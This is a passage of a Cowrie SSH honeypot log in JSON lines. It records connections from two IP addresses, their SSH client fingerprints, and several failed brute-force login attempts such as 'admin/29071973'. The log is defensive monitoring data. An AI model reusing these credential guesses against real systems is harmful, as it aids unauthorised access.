@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:41.378430Z","src_ip":"5.75.240.121","session":"91517571ef3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jude","password":"jude","message":"login attempt [jude/jude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:41.559865Z","src_ip":"5.75.240.121","session":"91517571ef3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:42.651639Z","src_ip":"5.75.240.121","session":"91517571ef3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":20863,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3615b80ec6c","protocol":"ssh","message":"New connection: 2.57.121.112:20863 (159.203.135.109:22) [session: d3615b80ec6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:50.366861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:50.371157Z","src_ip":"2.57.121.112","session":"d3615b80ec6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:50.470232Z","src_ip":"2.57.121.112","session":"d3615b80ec6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29071973","message":"login attempt [admin/29071973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:50.945983Z","src_ip":"2.57.121.112","session":"d3615b80ec6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29061973","message":"login attempt [admin/29061973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:52.046901Z","src_ip":"2.57.121.112","session":"d3615b80ec6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"29051996","message":"login attempt [admin/29051996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:53.147757Z","src_ip":"2.57.121.112","session":"d3615b80ec6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290481","message":"login attempt [admin/290481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:54.248634Z","src_ip":"2.57.121.112","session":"d3615b80ec6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"290185","message":"login attempt [admin/290185] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:55.350625Z","src_ip":"2.57.121.112","session":"d3615b80ec6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:59:56.452777Z","src_ip":"2.57.121.112","session":"d3615b80ec6c","protocol":"ssh"}